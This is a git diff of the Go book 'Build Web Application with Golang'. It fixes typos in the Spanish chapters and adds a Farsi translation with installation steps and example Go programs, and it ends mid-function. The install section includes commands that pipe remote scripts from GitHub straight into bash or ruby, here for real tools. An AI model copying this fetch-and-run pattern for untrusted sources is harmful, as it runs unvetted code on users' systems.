coloca mucha presión en el servidor, porque siempre se debe validar un usuario y una contraseña en la base de datos, y puede hacer que la experiencia de usuario se deteriore. Una alternativa para lograr esta meta es guardar la identidad del usuario en el cliente y el servidor usando cookies y sesiones. +Cuando por primera vez recibimos una página de acceso y escribimos un usuario y contraseña, después de presionar el botor de "entrar", el navegador envía una petición POST a un servidor remoto. El servidor redirecciona al usuario a su página de inicio después de verificar la información de acceso y retorna una respuesta HTTP. La pregunta aquí es ¿cómo el servidor sabe quien tiene privilegios de acceso a cierta página? Como HTTP es sin estado, el servidor no tiene cómo saber si se ha pasado la verificación en el paso anterior. La solución mas fácil e ingenua es pegar el nombre de usuario y la contraseña en la URL. esto funciona, pero coloca mucha presión en el servidor, porque siempre se debe validar un usuario y una contraseña en la base de datos, y puede hacer que la experiencia de usuario se deteriore. Una alternativa para lograr esta meta es guardar la identidad del usuario en el cliente y el servidor usando cookies y sesiones. Las cookies, de una manera corta, almacenan información (incluyendo la información de acceso) en el computador del cliente. El navegador envía estas cookies cada vez que el usuario visita el mismo sitio, automáticamente completando el paso de acceso para el usuario. @@ -12,7 +12,7 @@ Las cookies, de una manera corta, almacenan información (incluyendo la informac Figure 6.1 principio de las cookies. -Las sesiones, por otro lado, guardan información histórica en el lado del servidor. El servidor utiliza un identificador de sesión para diferenciar las esiones, y también este identificador es generado por el servidor y debería ser aleatorio y único. Puedes utilizar cookies o argumentos en la URL para obtener la identidad del cliente. +Las sesiones, por otro lado, guardan información histórica en el lado del servidor. El servidor utiliza un identificador de sesión para diferenciar las sesiones, y también este identificador es generado por el servidor y debería ser aleatorio y único. Puedes utilizar cookies o argumentos en la URL para obtener la identidad del cliente. ![](images/6.1.session.png?raw=true) @@ -30,7 +30,7 @@ Las cookies tiene un tiempo de expiración, y se dividen en dos tipos por su cic Si tu aplicación no le da a una cookie un tiempo de expiración, el navegador no la guardará en el sistema de almacenamiento después de que el navegador sea cerrado. Estas cookies son llamadas cookies de sesión y son guardadas usualmente en memoria en vez del sistema de almacenamiento permanente. -Si tu aplicación define un tiempo de expiración (por ejemplo, setMaxAge(60*60*24)), el navegador *guardará* esta cookie en el sistema de ficheros, y no la elimninará hasta que se alcance el tiempo de expiración. Las cookies guardadas en el sistema de ficheros pueden ser accedidas por diferentes instancias del navegador, por ejemplo, por dos ventanas de Internet Explorer; diferentes navegadores usan diferentes procesos para manejar las cookies que son guardadas en memoria. +Si tu aplicación define un tiempo de expiración (por ejemplo, setMaxAge(60 * 60 * 24)), el navegador *guardará* esta cookie en el sistema de ficheros, y no la elimninará hasta que se alcance el tiempo de expiración. Las cookies guardadas en el sistema de ficheros pueden ser accedidas por diferentes instancias del navegador, por ejemplo, por dos ventanas de Internet Explorer; diferentes navegadores usan diferentes procesos para manejar las cookies que son guardadas en memoria. ## Definir cookies en Go @@ -86,7 +86,7 @@ Una sesión es una serie de acciones o mensajes. Por ejemplo, piensa en las acci Las sesiones ayudan a almacenar el estado de la conexión entre servidor y cliente, y esto puede ser en forma de estructuras de datos. -Las sesiones son mecanismos del lado del servidor y usualmente empleaan tablas has (o algo similar) para guardar la información que llega. +Las sesiones son mecanismos del lado del servidor y usualmente emplean tablas hash (o algo similar) para guardar la información que llega. Cuando una aplicación necesita asignar una nueva sesión a un cliente, el servidor debe verificar si existen sesiones anteriores del actual cliente con un único identificador de sesión. Si la sesión ya existe, el servidor continúa con la misma sesión al cliente. Por otro lado, si una sesión no existe para el cliente, el servidor crea una nueva sesión (estu usualmente ocurre cuando el servidor ha eliminado el identificador de sesión correspondiente, pero el usuario ha usado la sesión anterior manualmente). diff --git a/es/06.2.md b/es/06.2.md index 9e203911a..f92335b16 100644 --- a/es/06.2.md +++ b/es/06.2.md @@ -7,7 +7,7 @@ En la sección 6.1, aprendimos que las sesiones son soluciones para la verificac El principio básico detrás de las sesiones es que el servidor mantiene la información de cada cliente , y los clientes tienen una única sesión para acceder a su información. Cuando los usuarios visitan la aplicación web, el servidor crea una sesión siguiendo los siguientes pasos en tanto sean necesarios: - Crear un identificador de sesión único. -- Abrir un espacio de almacenamiento: normalmente tenemos las sesiones en memoria, pero las perderás si el sistema accidentalmente se interrumpe. Esto puede ser un serio problema si la aplicación web maneja datos sensibles, como de comercio electrónico por ejemplo. Para solucionar este problema, puedes guardar los datos de sesión en la base de datos o en el sistema de ficheros. Eso hace que los datos sean mas fiables y fácil de compartir con otras aplicaciones, sin embargo la negociaciónde información es mas del lado del servidor para leer y escribir sesiones. +- Abrir un espacio de almacenamiento: normalmente tenemos las sesiones en memoria, pero las perderás si el sistema accidentalmente se interrumpe. Esto puede ser un serio problema si la aplicación web maneja datos sensibles, como de comercio electrónico por ejemplo. Para solucionar este problema, puedes guardar los datos de sesión en la base de datos o en el sistema de ficheros. Eso hace que los datos sean mas fiables y fácil de compartir con otras aplicaciones, sin embargo la negociación de información es mas del lado del servidor para leer y escribir sesiones. - Enviar el identificador de sesión único al cliente. El paso clave aquí es enviar un identificador único de sesión al cliente. En el contexto de una respuesta HTTP estándar, puedes usar el encabezado o el cuerpo que lo acompaña, por consiguiente, tenemos dos maneras de enviar identificadores de sesión a los clientes: por cookies o por URLs. diff --git a/es/07.0.md b/es/07.0.md index 06c09b091..bc6904fe0 100644 --- a/es/07.0.md +++ b/es/07.0.md @@ -1,6 +1,6 @@ # 7 Archivos de texto -Manejar archivos de texto es una gran parte del desarrollo web. A menudo para producir o manejar contenido el contenido de texto recibido, incluyendo cadenas, números, JSON, XML, etc. Como un lenguaje de alto rendimiento, Go tiene gran soporte para esto en su librería estándar. Encontrarás que las librerías de soporte son mamravillosas, y te permitirán fácilmente lidiar con cuanlquier contenido de texto que puedas encontrar. Este capítulo contiene 4 secciones y te dará una intruducción al procesamiento de texto en Go. +Manejar archivos de texto es una gran parte del desarrollo web. A menudo necesitamos producir o manejar contenido recibido en formato texto, incluyendo cadenas, números, JSON, XML, etc. Como un lenguaje de alto rendimiento, Go tiene gran soporte para esto en su librería estándar. Encontrarás que las librerías de soporte son maravillosas, y te permitirán fácilmente lidiar con cualquier contenido de texto que puedas encontrar. Este capítulo contiene 4 secciones y te dará una introducción al procesamiento de texto en Go. XML es un lenguaje interactivo comúnmente usado en muchas APIs, muchos servidores web que están escritos en Java, usan XML como su lenguaje de interacción estándar. Hablaremos mas de esto en la sección 7.1. En la sección 7.2, miraremos JSON, que se ha vuelto muy popular en los años recientes y es mucho mas conveniente que XML. En la sección 7.3, vamos a hablar sobre expresiones regulares que (para la mayoría de gente) parecen un lenguaje usado por aliens. En la sección 7.4, verás como el patrón MVS es usado para desarrollar aplicaciones en Go y también como usar el paquete `template` de Go para usar plantillas en tus vistas. En la sección 7.5, vamos a introducir las operaciones de archivos y carpetas. Finalmente explicaremos las operaciones de cadenas en la sección 7.6. diff --git a/es/07.1.md b/es/07.1.md index 879bd1c8b..98ccf0555 100644 --- a/es/07.1.md +++ b/es/07.1.md @@ -2,9 +2,9 @@ XML es usado comúnmente como formato de comunicación de datos en servicios web. Hoy, está asumiento un rol mas y mas importante en el desarrollo web. En esta sección, vamos a introducir el cómo trabajar con XML a través de la librería estándar de Go. -No voy a hacer ningún intento de enseñar la sintaxis o convenciones. Por esto, por favor lea la documentación sobre XML. Nosotros nos enfocaremos en como codificar y decodificar archivos XML en Go. +No voy a hacer ningún intento de enseñar la sintaxis o convenciones. Para esto, por favor lea la documentación sobre XML. Nosotros nos enfocaremos en como codificar y decodificar archivos XML en Go. -Sopón que trabajas con información y tecnología y tienes que lidiar con el siguiente archivo de configuración en XML: +Supón que trabajas con información y tecnología y tienes que lidiar con el siguiente archivo de configuración en XML: ``` diff --git a/es/07.4.md b/es/07.4.md index e42c50226..9452566bd 100644 --- a/es/07.4.md +++ b/es/07.4.md @@ -364,13 +364,13 @@ Código: templates, err = template.ParseFiles(allFiles...) #parses all .tmpl files in the 'templates' folder - s1, _ := templates.LookUp("header.tmpl") + s1 := templates.Lookup("header.tmpl") s1.ExecuteTemplate(os.Stdout, "header", nil) fmt.Println() - s2, _ := templates.LookUp("content.tmpl") + s2 := templates.Lookup("content.tmpl") s2.ExecuteTemplate(os.Stdout, "content", nil) fmt.Println() - s3, _ := templates.LookUp("footer.tmpl") + s3 := templates.Lookup("footer.tmpl") s3.ExecuteTemplate(os.Stdout, "footer", nil) fmt.Println() s3.Execute(os.Stdout, nil) @@ -378,7 +378,7 @@ Código: ``` Como podemos ver aquí `template.ParseFiles` analiza todos las plantillas analizadas en un caché y cada plantilla definida por `{{define}}` es independiente de la otra. Ellas persisten en algo como un mapa, donde el nombre de la plantilla es la llave y el valor es el cuerpo de la plantilla. Podemos entonces usar `ExecuteTemplate` para ejecutar el subtemplate correspondiente, entonces el encavezado y el pié de página sin independientes y el contenido los tiene a ambos. Nota que si tratamos de ejecutar `s1.Execute` nada saldrá porque no hay ningún subtemplate disponible. -Cuando quieras usar `define`, tienes que crear un archivo de texto con el mismo nombre de la subplantilla, por ejemplo `_head.tmpl` es una subplantila que se usa al rededor de tuproyecto, entonces crea este archivo en una carpeta para palanillas y úsala la sintaxis normal. El caché de verificación es creado básicamente para que no tengas que leer la plantilla cada vez que sirvas la petición, porque si lo haces, estás gastando un montón de recursos para leer un archivo que no cambia a menos que el código base sea reescrito, lo cual no tiene sentido para hacer en cada petición GET, entonces esta técnica es usada para analizar los archivos y luego usar un `LookUp()` en el caché para ejecutar la plantilla cuando se necesite mostrar la información. +Cuando quieras usar `define`, tienes que crear un archivo de texto con el mismo nombre de la subplantilla, por ejemplo `_head.tmpl` es una subplantila que se usa al rededor de tuproyecto, entonces crea este archivo en una carpeta para palanillas y úsala la sintaxis normal. El caché de verificación es creado básicamente para que no tengas que leer la plantilla cada vez que sirvas la petición, porque si lo haces, estás gastando un montón de recursos para leer un archivo que no cambia a menos que el código base sea reescrito, lo cual no tiene sentido para hacer en cada petición GET, entonces esta técnica es usada para analizar los archivos y luego usar un `Lookup()` en el caché para ejecutar la plantilla cuando se necesite mostrar la información. Las plantillas en un conjunto se pueden conocer unas a otras, pero debes analizar por cada conjunto en específico. diff --git a/es/08.2.md b/es/08.2.md index ae20b9d63..9060b6939 100644 --- a/es/08.2.md +++ b/es/08.2.md @@ -23,7 +23,6 @@ El protocolo de websockets es muy fácil. Después de completar el apretón de m Las conexiones por websockets son pedidas por los navegadores y respondidas por los servidores. Después la conexión es establecida. Este proceso se llama "apretón de manos". Considera las siguientes peticiones y respuestas -Consider the following requests and responses: ![](images/8.2.websocket2.png?raw=true) diff --git a/fa/01.0.md b/fa/01.0.md new file mode 100644 index 000000000..4e3a827d2 --- /dev/null +++ b/fa/01.0.md @@ -0,0 +1,24 @@ +
+ +# ۱- پیکربندی محیط Go + +به دنیای Go خوش آمدید. وقت آن است که در این دنیای جدید کمی به گشت و گذار بپردازیم! + +Go یکی از زبان های برنامه نویسی رایج می باشد که از قابلیت کامپایل سریع، سیستم های همزمان، و گاربیج کالکتور برخوردار است و همچنین دارای مزایای زیر می باشد: + +- یک پروژه بزرگ را تنها در چند ثانیه کامپایل می کند. +- یک مدل توسعه ی نرم افزاری فراهم می کند که استدلال در آن آسان است و بدین ترتیب از مشکلاتی که در هدر فایل های سبک C وجود داشت، جلوگیری می کند. +- یک زبان ایستا می باشد که در سیستم خود از داشتن سطوح مختلف خودداری کرده است، بنابراین نیازی نیست که کاربران زمان خود را برای درک ارتباط بین نوع ها سپری کنند. این زبان بیشتر شبیه یک زبان شیءگرای سبک می باشد. +- این زبان مجهز به GC یا گاربیج کالکتور می باشد و از ویژگی های همزمانی و ارتباط برخوردار می باشد. +- این زبان برای کامپیوترهایی که به چند هسته مجهز هستند، طراحی شده است. + +Go یک زبان برنامه نویسی کامپایلری است. در این زبان کارایی زبان های پویا یا مفسری در کنار امنیت زبان های ایستا هر دو با هم وجود دارند. این زبان برای کامپیوترهای مدرن و مجهز به چند هسته طراحی شده است که در شبکه هم کاربرد دارد. برای رسیدن به این اهداف، یک سری مسائل هستند که ذاتا باید در سطح انتخاب زبان برنامه نویسی حل شوند؛ برای مثال، یک سیستم سبک وزن کاملا رسا، یک مدل همروندی بومی، و یک گاربیج کالکتوری که به شدت تنظیم شده باشد. برای مدتی طولانی، هیچ بسته یا ابزاری برای رفع همه ی این مسائل معرفی نشد، تا زمانی که انگیزه ای برای توسعه ی زبان Go پدید آمد. + +در این فصل، نحوه نصب و پیکربندی محیط توسعه ی Go را بیان خواهم کرد. + +## لینک ها + +- [فهرست مطالب](preface.md) +- بخش بعدی: [نصب](01.1.md) + +
\ No newline at end of file diff --git a/fa/01.1.md b/fa/01.1.md new file mode 100644 index 000000000..236098b53 --- /dev/null +++ b/fa/01.1.md @@ -0,0 +1,199 @@ +
+ +# ۱-۱ نصب + +## سه روش برای نصب Go + +راه های زیادی برای تنظیم محیط توسعه ی Go بر روی کامپیوتر وجود دارند، و شما می توانید از هر یک از این روش ها به دلخواه خود استفاده کنید. به طور کلی سه روش زیر، به عنوان رایج ترین روش ها شناخته می شوند: + +- نصب پکیج های رسمی. + - تیم توسعه ی Go پکیج های جامعی را برای ویندوز، لینوکس، مک و سایر سیستم عامل ها فراهم کرده است. این روش نصب، شاید ساده ترین روش ممکن برای شروع باشد. شما می توانید به [صفحه ی دانلود Golang](https://golang.org/dl/) مراجعه کرده و فایل نصبی مورد نظر خود را دانلود کنید. +- نصب Go از طریق کد منبع. + - این روش بین توسعه دهندگان سیستم های شبه یونیکس مرسوم و شناخته شده است. +- استفاده از ابزارهای شخص سوم (third-party) + - ابزارها و پکیج های زیادی برای نصب Go وجود دارند، که شما می توانید از آن ها استفاده کنید. برای مثال apt-get در اوبونتو و homebrew در مک. + +اگر به هر دلیلی احتیاح دارید بیشتر از یک نسخه از Go را بر روی یک کامپیوتر داشته باشید، کافیست نگاهی به ابزار [GVM](https://github.com/moovweb/gvm) داشته باشید، که یکی از بهترین ابزارهای موجود برای این منظور می باشد. در غیر این صورت همیشه می توانید این کار را به صورت دستی هم انجام دهید. + +## نصب از طریق کد منبع + +برای کامپایل Go 1.5 به بالا، کافیست فقط یکی از ورژن های قبلی Go را بر روی سیستم خود داشته باشید، چرا که Go از ویژگی بوت استرپ پشتیبانی می کند. یعنی برای کامپایل Go، به خود Go احتیاج دارید. + +برای کامپایل Go 1.4 به پایین، شما به یک کامپایلر C بر روی سیستم خود احتیاج دارید. چراکه هنوز بخش هایی از Go به زبان C و همچنین اسمبلر AT&T نوشته شده است. + +اگر از سیستم عامل مک استفاده می کنید و Xcode بر روی سیستم شما نصب است، شما کامپایلر مورد نیاز خود را دارید. + +بر روی سیستم های شبه یونیکس، باید gcc یا کامپایلر مشابه نصب باشد. برای مثال، با استفاده از مدیر بسته apt-get (که در اوبونتو استفاده می شود)، کامپایلرهای مورد نیاز خود را به صورت زیر می توانید نصب کنید. + +
+ +```sh +sudo apt-get install gcc libc6-dev +``` + +
+ +اگر از سیستم عامل ویندوز استفاده می کنید، برای نصب gcc ابتدا باید MinGW را نصب کنید. همچنین به خاطر بسپارید که بعد از اتمام مراحل نصب، محیط متغیرها را تنظیم کنید.( ***اگر از نسخه ۶۴ بیتی ویندوز استفاده می کنید، ورژن ۶۴ بیتی MinGW را نصب کنید.*** ) + +در این مرحله، دستورات زیر را اجرا کنید تا از کد منبع Go یک کلون گرفته و آن را کامپایل نمایید.( ***با این دستور، سورس کد مورد نیاز در دایرکتوری جاری شما کلون می شود. قبل از اینکه ادامه دهید، مسیر کاری خود را تغییر دهید. این امر ممکن است کمی زمان ببرد.*** ) + +
+ + git clone https://go.googlesource.com/go + cd go/src + ./all.bash + +
+ +اگر مراحل نصب با موفقیت انجام شده باشد، با پیغام "ALL TESTS PASSED." مواجه خواهید شد که به معنای موفق بودن تست ها می باشد. + + +بر روی ویندوز، همین کار را می توان با اجرای `all.bat` انجام داد. + + +اگر از ویندوز استفاده می کنید، پکیج های نصب به صورت خودکار تنظیمات لازم در محیط متغیرهای شما را اعمال می کنند. در سیستم های شبه یونیکس، احتیاج است که این متغیرها به صورت دستی تنظیم شوند که در ادامه نحوه تنظیم آن ها را مشاهده خواهید کرد. ( ***اگر ورژن Go شما بیشتر از ۱.۰ باشد، احتیاجی به تنظیم متغیر $GOBIN نمی باشد، و در واقع این متغیر به صورت خودکار به مسیر $GOROOT/bin مرتبط می شود. در فصل بعد بیشتر به این موضوع می پردازیم.*** ) + +
+ + export GOROOT=$HOME/go + export GOBIN=$GOROOT/bin + export PATH=$PATH:$GOROOT/bin + +
+ +اگر بر روی صفحه نمایش خود، پیغام زیر را مشاهده می کنید، یعنی همه چیز به درستی تنظیم شده است. + +![](images/1.1.mac.png?raw=true) + +شکل ۱.۱ اطلاعات سیستم بعد از کامپایل سورس کد + +اگر این اطلاعات را درباره Go مشاهده کردید، بدین معناست که شما موفق شده اید Go را به درستی بر روی کامپیوتر خود نصب کنید. اگر پیغام "no such command" یا به عبارتی "چنین دستوری وجود ندارد" را دریافت کردید، متغیر $PATH خود را بررسی کنید و مطمئن شوید که مسیر نصبی Go را در بر دارد. + +## استفاده از بسته های نصبی استاندارد + +Go برای همه سیستم عامل هایی که از آن پشتیبانی می کنند، بسته هایی ارائه داده است که صرفا با یک کلیک نصب می شوند. این بسته ها به صورت پیش فرص در مسیر `/usr/local/go` (در ویندوز `c:\Go`) نصب می شوند. قطعا این مسیرها قابل تغییر است، اما توجه کنید که با تغییر مسیر، تغییرات لازم را در متغیرهای محیطی نیز به صورت دستی اعمال کنید. + +### چگونه مطمئن شوید که سیستم عامل شما ۳۲ بیتی است یا ۶۴ بیتی؟ + +گام بعدی ما بسیار وابسته به نوع سیستم عامل شما دارد، بنابراین قبل از اینکه بسته های نصبی استاندارد را دانلود کنیم، باید آن را بررسی نماییم. + +اگر از ویندوز استفاده می کنید، کلیدهای `Win+R` را فشار داده و ابزار دستوری را اجرا کنید. دستور `systeminfo` را تایپ کنید تا به شما اطلاعات لازم را درباره سیستم نمایش دهد. سپس خطی را پیدا کنید که در آن اطلاعات مربوط به نوع سیستم یا "system type" نمایش داده شده است. اگر عبارت "x64-based PC" را مشاهده کردید یعنی سیستم عامل شما ۶۴ بیتی، و در غیر این صورت ۳۲ بیتی می باشد. + +اگر کاربر مک هستید، به شما پیشنهاد می کنیم که از بسته ۶۴ بیتی استفاده کنید، چراکه Go پشتیبانی از پردازنده های ۳۲ بیتی بر روی مک را متوقف کرده است. + +کاربران لینوکس کافیست دستور `uname -a` را در ترمینال وارد کرده و اطلاعات مربوط به سیستم خود را مشاهده کنند. یک سیستم عامل ۶۴ بیتی اطلاعاتی مشابه با متن زیر خواهد داشت: + +
+ + <توضیحات> x86_64 x86_64 x86_64 GNU/Linux + // برخی سیستم ها مثلا اوبونتو ۱۰.۰۴ خروجی مشابه زیر خواهد داشت + x86_64 GNU/Linux + +
+ +این اطلاعات برای سیستم عامل های ۳۲ بیتی مشابه زیر خواهد بود: + +
+ + <توضیحات> i686 i686 i386 GNU/Linux + +
+ +### مک + +به [صفحه دانلود](https://golang.org/dl/) رفته، بسته `go1.4.2.darwin-386.pkg` را برای سیستم عامل ۳۲ بیتی (آخرین نسخه، بسته ای برای پردازنده ۳۲ بیتی ندارد) و بسته `go1.8.3.darwin-amd64.pkg` را برای سیستم های ۶۴ بیتی انتخاب کنید. سپس مراحل نصب را صرفا با زدن "next" تا انتها دنبال کنید. بعد از اینکه مراحل نصب با موفقیت به پایان رسید، دایرکتوری `~/go/bin` به متغیر $PATH سیستم شما افزوده خواهد شد. حال کافیست یک ترمینال باز کرده و عبارت `go` را وارد کنید. خروجی حاصل از اجرای این دستور، چیزی مشابه با شکل ۱.۱ خواهد بود. + +### لینوکس + +به [صفحه دانلود](https://golang.org/dl/) رفته، بسته `go1.8.3.linux-386.tar.gz` را برای سیستم های ۳۲ بیتی و بسته `go1.8.3.linux-amd64.tar.gz` را برای سیستم های ۶۴ بیتی انتخاب و دانلود کنید. با فرض اینکه دایرکتوری مورد نظر شما برای نصب Go، مسیر `$GO_INSTALL_DIR` باشد، بسته دانلودی خود را در این مسیر با استفاده از دستور `tar zxvf go1.8.3.linux-amd64.tar.gz -C $GO_INSTALL_DIR`، از حالت فشرده خارج کنید. سپس $PATH خود را با استفاده از دستور `export PATH=$PATH:$GO_INSTALL_DIR/go/bin` تنظیم کنید. حال کافیست ترمینال خود را باز کرده و عبارت `go` را تایپ کنید. خروجی شما چیزی مشابه با شکل ۱.۱ خواهد بود. + +### ویندوز + +به [صفحه دانلود](https://golang.org/dl/) رفته، بسته `go1.8.3.windows-386.msi` را برای سیستم های ۳۲ بیتی و `go1.8.3.windows-amd64.msi` را برای سیستم های ۶۴ بیتی انتخاب و دانلود کنید. مراحل نصب را صرفا با کلیک بر روی "next" تا انتها ادامه دهید. بعد از اینکه نصب با موفقیت انجام شد، `c:/go/bin` به `path` افزوده می شود. حال کافیست یک پنجره دستور خطی باز کرده و عبارت `go` را تایپ کنید. خروجی شما چیزی مشابه با شکل ۱.۱ خواهد بود. + +## استفاده از ابزارهای سوم شخص (third-party) + +### GVM + +GVM یک ابزار کنترل ورژن برای Go محسوب می شود که با استفاده از ابزارهای سوم شخص توسعه یافته است (مثل rvm برای ruby). استفاده از این ابزار بسیار آسان است. کافیست با استفاده از دستور زیر در ترمینال، ابتدا gvm را نصب کنید: + +
+ + bash < <(curl -s -S -L https://raw.github.com/moovweb/gvm/master/binscripts/gvm-installer) + +
+ +سپس با اجرای دستورات زیر، Go را نصب کنید: + +
+ + gvm install go1.8.3 + gvm use go1.8.3 + +
+ +بعد از اینکه فرآیند نصب کامل شد، همه چیز برای استفاده آماده و مهیاست. + +### apt-get + +اوبونتو یکی از مشهورترین توزیع های لینوکسی محسوب می شود که برای دسکتاپ و سرور ارائه شده است. در این توزیع، از ابزار `apt-get` برای مدیریت بسته ها استفاده می شود، بنابراین با استفاده از دستورات زیر به راحتی می توان Go را بر روی اوبونتو نصب نمود. + +
+ + sudo add-apt-repository ppa:gophers/go + sudo apt-get update + sudo apt-get install golang-go + +
+ +### wget + +
+ +```sh + +wget https://storage.googleapis.com/golang/go1.8.3.linux-amd64.tar.gz +sudo tar -xzf go1.8.3.linux-amd64.tar.gz -C /usr/local + +# Go environment +export GOROOT=/usr/local/go +export GOBIN=$GOROOT/bin +export PATH=$PATH:$GOBIN +export GOPATH=$HOME/gopath +``` + +
+ +از ورژن ۱.۸ به بعد، برای متغیر محیطی GOPATH یک مقدار پیش فرض در نظر گرفته شده است. اگر از سیستم های شبه یونیکس استفاده می کنید این متغیر مقدار `$HOME/go` و اگر کاربر ویندوز هستید مقدار `%USERPROFILE%/go` را در بر خواهد داشت. + +### Homebrew + +Homebrew ابزاری برای مدیریت نرم افزار می باشد که در مک به شکل رایج جهت مدیریت بسته ها مورد استفاده قرار می گیرد. برای نصب Go کافیست دستورات زیر را وارد کنید. + +1. نصب Homebrew + +
+ +```sh + /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" +``` + +
+ +2. نصب Go + +
+ +```sh + brew update && brew upgrade + brew install go +``` +
+ +## لینک‌ها + +- [فهرست مطالب](preface.md) +- بخش قبلی: [پیکربندی محیط Go](01.0.md) +- بخش بعدی: [$GOPATH و فضای کاری](01.2.md) + +
diff --git a/fa/README.md b/fa/README.md new file mode 100644 index 000000000..d47805a20 --- /dev/null +++ b/fa/README.md @@ -0,0 +1,57 @@ +
+ +***ساخت وب اپلیکیشن با استفاده از Golang*** +====================================== + +### اهداف + +از آن جایی که من به توسعه اپلیکیشن در زمینه وب علاقمندم، این کتاب را در وقت آزادم به عنوان یک نسخه متن باز و رایگان تدارک دیدم. این امر الزاما به این معنا نیست که من در ساخت اپلیکیشن های وب مهارت خیلی خوبی دارم. صرفا علاقه داشتم که تجربیات خودم را در ساخت اپلیکیشن وب با استفاده از Go به اشتراک بگذارم. + +- اگر در حال حاضر برای ساخت اپلیکیشن وب از زبان هایی مانند PHP/Python/Ruby استفاده می کنید، در این کتاب شما نحوه استفاده از زبان Go را خواهید آموخت. +- اگر شما برنامه نویسی هستید که با زبان هایی مثل C/C++ کار می کنید، در این کتاب نحوه ی عملکرد وب را فرا خواهید گرفت. + +اعتقاد من بر این است که هدف از مطالعه، اشتراک اطلاعات با دیگران است. در زندگی شخصی هر چقدر چیزی را با افراد بیشتری به اشتراک بگذارم، باعث خرسندی بیشتر من خواهد بود. + +# دونیت + +
+ +AliPay: alipay + +English Donate:[donate](http://beego.me/donate) + +
+ +## جامعه + +
+ +QQ群:386056972 + +BBS:[http://gocn.io/](http://gocn.io/) + +
+ +### تقدیر و تشکر + +
+ + - [四月份平民 April Citizen](https://plus.google.com/110445767383269817959) (review code) + - [洪瑞琦 Hong Ruiqi](https://github.com/hongruiqi) (review code) + - [边 疆 BianJiang](https://github.com/border) (write the configurations about Vim and Emacs for Go development) + - [欧林猫 Oling Cat](https://github.com/OlingCat)(review code) + - [吴文磊 Wenlei Wu](mailto:spadesacn@gmail.com)(provide some pictures) + - [北极星 Polaris](https://github.com/polaris1119)(review whole book) + - [雨 痕 Rain Trail](https://github.com/qyuhen)(review chapter 2 and 3) + +
+ +### مجوز + +لازم است بدانید که این کتاب تحت مجوز [CC BY-SA 3.0 License](http://creativecommons.org/licenses/by-sa/3.0/) قرار دارد، +و همچنین کدهای استفاده شده در این کتاب تحت مجوز [BSD 3-Clause License]() می باشند، مگر در مواردی که مجوز آن ذکر شده است. + +### شروع کنید + +[فهرست مطالب](./preface.md) +
\ No newline at end of file diff --git a/fa/code/readme.md b/fa/code/readme.md new file mode 100644 index 000000000..f6d4510d5 --- /dev/null +++ b/fa/code/readme.md @@ -0,0 +1,7 @@ +## Workspace setup. + +To avoid workspace issues and be able to develop from any folder within this path, +set the environment variable `GOPATH` to the path of this directory. + +More info: +- [GOPATH documentation](http://golang.org/doc/code.html#GOPATH) diff --git a/fa/code/src/apps/ch.1.2/main.go b/fa/code/src/apps/ch.1.2/main.go new file mode 100644 index 000000000..cc5b4e22c --- /dev/null +++ b/fa/code/src/apps/ch.1.2/main.go @@ -0,0 +1,14 @@ +// Example code for Chapter 1.2 from "Build Web Application with Golang" +// Purpose: Run this file to check if your workspace is setup correctly. +// To run, navigate to the current directory in a console and type `go run main.go` +// If the text "Hello World" isn't shown, then setup your workspace again. +package main + +import ( + "fmt" + "mymath" +) + +func main() { + fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2)) +} diff --git a/fa/code/src/apps/ch.2.1/main.go b/fa/code/src/apps/ch.2.1/main.go new file mode 100644 index 000000000..1aa5bae16 --- /dev/null +++ b/fa/code/src/apps/ch.2.1/main.go @@ -0,0 +1,11 @@ +// Example code for Chapter ? from "Build Web Application with Golang" +// Purpose: Hello world example demonstrating UTF-8 support. +// To run in the console, type `go run main.go` +// You're missing language fonts, if you're seeing squares or question marks. +package main + +import "fmt" + +func main() { + fmt.Printf("Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちは世界\n") +} diff --git a/fa/code/src/apps/ch.2.2/main.go b/fa/code/src/apps/ch.2.2/main.go new file mode 100644 index 000000000..5b54b9c5d --- /dev/null +++ b/fa/code/src/apps/ch.2.2/main.go @@ -0,0 +1,277 @@ +// Example code for Chapter 2.2 from "Build Web Application with Golang" +// Purpose: Goes over the assignment and manipulation of basic data types. +package main + +import ( + "errors" + "fmt" +) + +// constants +const Pi = 3.1415926 + +// booleans default to `false` +var isActive bool // global variable +var enabled, disabled = true, false // omit type of variables + +// grouped definitions +const ( + i = 1e4 + MaxThread = 10 + prefix = "astaxie_" +) + +var ( + frenchHello string // basic form to define string + emptyString string = "" // define a string with empty string +) + +func show_multiple_assignments() { + fmt.Println("show_multiple_assignments()") + var v1 int = 42 + + // Define three variables with type "int", and initialize their values. + // vname1 is v1, vname2 is v2, vname3 is v3 + var v2, v3 int = 2, 3 + + // `:=` only works in functions + // `:=` is the short way of declaring variables without + // specifying the type and using the keyboard `var`. + vname1, vname2, vname3 := v1, v2, v3 + + // `_` disregards the returned value. + _, b := 34, 35 + + fmt.Printf("vname1 = %v, vname2 = %v, vname3 = %v\n", vname1, vname2, vname3) + fmt.Printf("v1 = %v, v2 = %v, v3 = %v\n", v1, v2, v3) + fmt.Println("b =", b) +} +func show_bool() { + fmt.Println("show_bool()") + var available bool // local variable + valid := false // Shorthand assignment + available = true // assign value to variable + + fmt.Printf("valid = %v, !valid = %v\n", valid, !valid) + fmt.Printf("available = %v\n", available) +} +func show_different_types() { + fmt.Println("show_different_types()") + var ( + unicodeChar rune + a int8 + b int16 + c int32 + d int64 + e byte + f uint8 + g int16 + h uint32 + i uint64 + ) + var cmplx complex64 = 5 + 5i + + fmt.Println("Default values for int types") + fmt.Println(unicodeChar, a, b, c, d, e, f, g, h, i) + + fmt.Printf("Value is: %v\n", cmplx) +} +func show_strings() { + fmt.Println("show_strings()") + no, yes, maybe := "no", "yes", "maybe" // brief statement + japaneseHello := "Ohaiyou" + frenchHello = "Bonjour" // basic form of assign values + + fmt.Println("Random strings") + fmt.Println(frenchHello, japaneseHello, no, yes, maybe) + + // The backtick, `, will not escape any character in a string + fmt.Println(`This + is on + multiple lines`) +} +func show_string_manipulation() { + fmt.Println("show_string_manipulation()") + var s string = "hello" + + //You can't do this with strings + //s[0] = 'c' + + s = "hello" + c := []byte(s) // convert string to []byte type + c[0] = 'c' + s2 := string(c) // convert back to string type + + m := " world" + a := s + m + + d := "c" + s[1:] // you cannot change string values by index, but you can get values instead. + fmt.Printf("%s\n", d) + + fmt.Printf("s = %s, c = %v\n", s, c) + fmt.Printf("s2 = %s\n", s2) + fmt.Printf("combined strings\na = %s, d = %s\n", a, d) +} +func show_errors() { + fmt.Println("show_errors()") + err := errors.New("Example error message\n") + if err != nil { + 